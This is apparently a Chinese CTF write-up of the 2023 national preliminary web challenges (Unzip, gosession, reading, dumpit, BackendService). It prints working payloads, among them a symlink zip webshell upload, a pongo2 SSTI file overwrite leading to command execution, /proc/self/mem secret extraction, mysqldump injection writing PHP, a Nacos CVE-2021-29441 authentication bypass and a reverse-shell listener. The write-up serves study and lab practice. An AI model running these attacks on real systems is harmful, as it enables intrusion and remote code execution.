2023国赛初赛web
Unzip
打开是一个文件上传界面
这道题似乎是个原题
先搜索一下题目,unzip,发现是Linux下用于解压压缩包的一个命令
打开环境是一个文件上传页面
先随便上传一个文件,点击上传之后会跳转到upload.php
1 | <?php |
分析一下这段源码
1 | if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){ |
总的意思就是,我们只能上传zip文件,并且上传之后zip文件会解压到/tmp目录下,并且会覆盖原有文件
那这样我们的思路就简单了,上传一个带有马的压缩包,然后再getshell即可
但是上传之后却发现,我们不能访问/tmp目录,所以我们就要进行绕过
那绕过思路大概就是,有一个操作可以让我们对一个文件操作时让他作用在另一个目录或者文件下
软链接/硬链接
1 | 硬链接指通过索引节点来进行连接。比如:A 是 B 的硬链接(A 和 B 都是文件名),则 A 的目录项中的 inode 节点号与 B 的目录项中的 inode 节点号相同,即一个 inode 节点对应两个不同的文件名,两个文件名指向同一个文件,A 和 B 对文件系统来说是完全平等的。删除其中任何一个都不会影响另外一个的访问。 |
由上面可知我们这里需要用到软链接,那这样思路就清晰了,首先我们先上传一个带有软链接的压缩包(1.zip),然后让其指向网站的根目录(/var/www/html),这样我们就可以通过访问该文件直接访问网站的目录了,然后我们再上传一个带有木马的压缩包(2.zip),他的目录为1.zip的目录下。
下面是具体实现:
软链接的利用和实现
1 | //创建软链接的压缩包,在linux命令行下输入下面的内容 |
1 | //创建包含木马文件的压缩包 |
然后先上传1.zip文件,再上传2.zip文件,然后再getshell即可
1 | http://1.xx.xx.x:12345/shell.php //访问shell.php文件 |
flag{8382843b-d3e8-72fc-6625-ba5269953b23}
gosession
打开环境,显示
1 | Hello, guest |
打开附件,查看main.go文件,发现主要有三个路由
- Index
- Admin
- Flask可以看到,
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78//rount.go
package route
import (
"github.com/flosch/pongo2/v6"
"github.com/gin-gonic/gin"
"github.com/gorilla/sessions"
"html"
"io"
"net/http"
"os"
)
var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))
func Index(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
session.Values["name"] = "guest"
err = session.Save(c.Request, c.Writer)
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
}
c.String(200, "Hello, guest")
}
func Admin(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] != "admin" {
http.Error(c.Writer, "N0", http.StatusInternalServerError)
return
}
name := c.DefaultQuery("name", "ssti")
xssWaf := html.EscapeString(name)
tpl, err := pongo2.FromString("Hello " + xssWaf + "!")
if err != nil {
panic(err)
}
out, err := tpl.Execute(pongo2.Context{"c": c})
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
c.String(200, out)
}
func Flask(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
if err != nil {
http.Error(c.Writer, "N0", http.StatusInternalServerError)
return
}
}
resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))
if err != nil {
return
}
defer resp.Body.Close()
body, _ := io.ReadAll(resp.Body)
c.String(200, string(body))
}
Index路由中的session是guest用户的session,然后session_key是通过SESSION_KEY环境变量获取的
Admin路由就是检测session,检测成功之后就ssti(需要name值为admin),用xsswaf过滤了!
并且里面调用了 pongo2 来实现模版解析
Flask路由可以访问到本机5000端口的flask服务
访问:这里看到flask开启了debug模式,等会要利用这个点,debug开启,代表开启了热加载功能,简单来说,就是允许在对代码进行更改后自动重新加载应用程序。1
2
3
4
5
6
7
8
9
10
11http://xxx/flask?name=
//使name的值为空,会报错,信息泄露得到5000端口的源码,把得到的html源码去运行一下,得到下面的信息
//这里为什么为空会报错?报错会得到源码呢?我在这道题的wp最后会做出解释。
// /app/server.py
app = Flask(__name__)
@app.route('/')
def index():
name = request.args['name']
return name + " no ssti"
if __name__ == "__main__":
app.run(host="127.0.0.1", port=5000, debug=True)os.Getenv
如果获取不存在的环境变量就会返回空值,所以我们这里猜其实不存在环境变量,所以secret_key其实是空的,那这样的话就可以伪造admin用户了
伪造admin用户
我们改下代码,然后获得伪造之后的session
1 | var store = sessions.NewCookieStore([]byte("")) |
得到伪造之后的session:(因为key为空,所以可以直接用别人生成的session)
1 | MTY4NTE2NjM0MXxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXwOKxem4pxrKun4XeKg9xm11WhWHL1uae0s725nzr61aA== |
也可以把下面的代码加到rount.go里然后再访问,也可以得到admin用户的Key
1 | func Key(c *gin.Context) { |
然后设置一下Cookie头
到了这一步就开始go的ssti,前面已经说过了server.py开启了debug,所以说当server.py文件改变一次,那就会重新加载一次,所以我们这里就是要写入文件来覆盖掉原来的server.py文件
go的pongo2模板注入
Go的标准库里有两个模板引擎, 分别是text/template
和html/template
, 两者接口一致, 区别在于html/template
一般用于生成HTML
输出, 它会自动转义单引号和双引号,所以我们这里要换个方式读取文件
在这里我们发现gin.Context被注入到了模板中
使用可以gin
包的SaveUploadedFile()
进行文件上传
1 | func (c *Context) SaveUploadedFile(file *multipart.FileHeader, dst string) error |
Context.HandlerName()
HandlerName 返回主处理程序的名称。例如,如果处理程序是“handleGetUsers()”,此函数将返回“main.handleGetUsers”。
所以如果是在Admin()
里,返回的就是main/route.Admin
然后配合过滤器last
获取到最后一个字符串n
1 | {{c.HandlerName()|last}} |
还有一个Context.Request.Referer()
Request.Referer
返回header里的Referer的值
所以构建一个文件上传,然后覆盖server.py
所以payload为:(来源为这里)
1 | /admin?name={{c.SaveUploadedFile(c.FormFile(c.HandlerName()|last),c.Request.Referer())} |
简单来说就是admin路由下有ssti,所以执行go的代码,然后上传server.py文件进行文件覆盖
然后再访问/flask路由来执行命令
先执行上面的payload然后抓包:
抓包之后主要有四步要修改 :
1.如果没有Referer头的话,记得添加Referer头,因为payload里的/app/server.py用Re头代替了
Referer: /app/server.py
2.如果没有Content-Type头,记得添加
Content-Type: multipart/form-data; boundary=—-WebKitFormBoundary8ALIn5Z2C3VlBqND简单的来了解一下,为什么要加这个头:
在http协议中使用form提交文件时需要将form标签的method属性设置为post,enctype属性设置为multipart/form-data,并且有至少一个input的type属性为file时,浏览器提交这个form时会在请求头部的Content-Type中自动添加boundary属性。
使用post上传文件时,不仅需要指定mutipart/form-data来进行编码,还需要在Content-Type中定义boundary作为表单参数的分隔符。(简单的理解就是,这是我们用来上传文件的一个标志)
并且请求体中不同部份以CRLF、”–”和header中的Boundary参数开头,要求被封装的内容不能出现与Boundary参数相同的字符,整个请求体以”–”结束。
3.记得把session改成我们之前伪造的那个admin的session
4.在body加上我们改之后的server.py文件,文件内容详见下面的包
下面是完整的发包
1 | GET /admin?name={{c.SaveUploadedFile(c.FormFile(c.HandlerName()|last),c.Request.Referer())}} HTTP/1.1 |
发包成功之后,访问flask路由,执行下面的payload
1 | /flask?name=%3fname=env |
得到flag
flag{8382843b-d3e8-72fc-6625-ba5269953b23}
这个地方补充一下,为什么最后的payload是
1 | /flask?name=%3fname=env |
有个师傅问我这里为什么是两个name连着写,这个payload怎么来的呢?
我看到这个问题的时候,我简单的回想了一下这题的过程,然后去网上搜搜有没有相关的wp有解释,发现大家几乎都是一笔带过,也没有对这个点有过多的解释,当时自己可能也是网上说啥就是啥了,这样给我带来了一个提醒,复现的话就要每个点都吃透。
好啦,开始解释吧,解决这个问题过程中我求助了一位师傅,感觉自己还是不太会抓问题重点
我们先看到go里的flask路由那个地方
1 | func Flask(c *gin.Context) { |
我们看到上面标注的那行里的DefaultQuery
,介于网上搜索到的相关知识点比较少,这里建议直接去看官方文档
看到官方文档里的这几行
上面几行注释就是几个例子,name
和lastname
是url上就有的参数,所以c.DefaultQuery("name", "unknown")
直接返回的是url上给他的赋值,也就是Manu
,同理,对于lastname
的返回值也就是空,因为url上有这个参数但是确没有给他赋值,那对于url上不存在的参数呢,比如c.DefaultQuery("id", "none")
就为默认值,也就是defaultValue string
,这里对于id来说,就是none
那在这里
我们最后的payload是/flask?name=%3fname=env
,那拼接到这里就应该是http://127.0.0.1:5000?name=env
,而这个时候的5000端口上的东西是我们之前覆盖的server.py
文件,那我们看到我们覆盖的文件里的内容,我们传参name,并且去os.popen
代码执行这个参数的指令
所以/flask?name=%3fname=env
其实就是/server.py?name=env
,从而读取了环境变量了。
其实这里我们上传的server.py
文件里面最好不要设置成name
这个参数,感觉可能是两个name
连着一起有点误导人了
可以改个参数,比如把上面的一段,改成下面这样,这样最后payload就是/flask?name=?cmd=env
1 | @app.route('/') |
看到这里你会不会还有点懵?那再来好好理一遍这个思路。首先我们从浏览器访问,然后传参,route.go
接收到用户访问的url之后,通过DefaultQuery
裁切url上的参数,然后将返回的值拼接给本地的flask服务,flask服务默认在5000端口开启,所以也就是 127.0.0.1:5000
,所以Payload:/flask?name=%3fname=env
,经过第一层route.go
里面的DefaultQuery
裁切之后,只剩下%3fname=env
,然后这一段拼接给flask,这时候触发了覆盖的server.py
文件,进而执行了命令,查看到了环境变量。这样一遍理下来就很清楚啦。
看到这里你会不会联想到一开始的
这里为什么会报错,报错之后为什么又可以得到源码呢?
这里我们把/?flask?name
按照我们刚刚的思路,是不是最后就是127.0.0.1:5000
了,因为name为空,所以后面自然也没有跟东西,我们看到获取name参数值的地方
我们把这段代码拿去测试一下,正常赋值,没问题
当为空的时候,也就是直接?name
的时候,可以看到报错了
是因为这个地方想要name
参数,但是没有得到,所以这也是为什么我们会传两个name
参数的原因
那为什么报错了就会得到源码呢,因为这里打开了flask的debug模式,报错了就会直接回显源码
其实这道题还有另外的解法,就是如果我们都可以命令执行了,那想到之前师傅说的一个小点子,用grep直接全局查找不就好了?这样也不用去研究那么多东西了,直接 file=os.popen(“grep -R flag”).read()
然后直接访问直接访问 /flask?name=
,变成127.0.0.1:5000
,触发命令执行,回显flag
reading
主页是空白的,就想到可能是目录穿越,这里把..replace成了. 所以我们要用…代表一级
先看到app.py
1 | # -*- coding:utf8 -*- |
这里看到要获得flag,则需要key,而key又是通过session获得的,想要伪造session我们又需要知道secret_key
首先我们先来了解两个路径
1 | /proc/self路径为获取当前环境下的文件,比如/proc/self/environ用于获取当前环境下的环境变量 |
所以我们输入下面的payload读取一下:
1 | /books?book=.../.../.../.../.../.../.../.../.../.../.../.../.../.../.../.../proc/self/maps |
那么总的思路就是:思路就是利用任意文件读取读 /proc/self/maps 获取 python 相关程序的地址然后读 /proc/self/mem 拿到堆里面的 secret key 和 key, 伪造 session 最后访问 /flag 路由
任意文件读取
下面放上读men的脚本
记得要在linux下执行
1 | import os,requests,re |
运行之后会生成一个save文件夹,然后打开这个文件夹
然后用正则表达式 – [a-f0-9]{32}
去搜索MD5格式的字符串,找到两串很相似的md5字符串
猜测一个是key一个是secret_key,把这两个都拿去验证一下,看那个可以解session,哪个就是secret_key,那另一个就是key
先在Linux下输入:
1 | python3 |
爆破时间戳伪造session
输出几个时间戳看一下,发现前面几个字符都是一样的
之后用hashcat工具爆破时间戳
1 | hashcat -m 0 -a 3 "key值" "168534084?d?d?d?d?d?d?d?d?d?d" |
爆破出时间戳之后,结合secret_key一起伪造session
1 | python3 flasksession.py encode -s "secret_key" -t "{'key':'时间戳'}" |
得到伪造后的session后,抓包修改,然后访问 /flag 即可得到flag
flag{8382843b-d3e8-72fc-6625-ba5269953b23}
DebugSer(无,Java还没学)
dumpit
这道题没有找到环境,就跟着网上大佬的wp来过一遍吧
打开题目:
查看日志,日志内容如下,(其实这不是什么日记,是备份的数据库)
搜索了一下,发现是mysqldump导出文件的格式,
根据题目提示,应该是命令注入
mysqldump命令注入
发现–result-file,-r可以控制文件的输出位置,而且这里的两个参数可控,所以直接命令执行
1 | ?db='<?php phpinfo()?>'&table_2_dump=flag1 --result-file=log/1.php |
还可以用下面的payload
1 | ?db=ctf&table_2_dump=\%3C\?\=phpinfo\(\)?\%3E%202%3E%20log/1.php |
这里有个非预期,出题人没有把环境变量删掉,我们可以直接读取环境变量来读flag
(非预期)%0A截断绕过读取环境变量
1 | ?db=ctf&table_2_dump=%0Aenv |
BackendService
好的,这道题也没有找到环境…
首先是CVE-2021-29441
CVE-2021-29441身份验证绕过
打开环境是一个nacos页面(没看到题目,但是盲猜应该是下面这样,(图取自网络),就应该是个登录框)
参考这篇文章可知
我们只需要在header添加了user-agent:Nacos-Server时,就会绕过身份验证直接登录nacos账户
1 | //post传参 |
这样就成功的新建了一个用户名和密码都为admin的用户了
登录然后进入后台
Nacos结合Spring Cloud Gateway RCE利用
先看篇参考文章了解一下,题目复现wp主要来自https://pysnow.cn/archives/713/
进入后台查看源码(详细代码可见上面提到的那篇wp),可知:
backendserver为provider服务,监听在8811端口上。(application.yaml)
内部配置服务有个8888的gateway服务,id为backcfg。可以直接访问这个内部服务。并且这个服务接受json格式 (bootstrap.yml)
这里可以通过修改gateway配置文件反代backendservice服务
去nacos后台添加配置
然后反弹shell即可:
服务器开启监听:
1 | nc -lvp 6666 |
然后poc如下:(poc来源)
1 | { |
注意添加配置时的:Data ID要写backcfg,Group为DEFAULT_GROUP
然后再:cat /flag 即可得到flag
(后面发现ctfshow有环境了,那来简单的复现一下吧)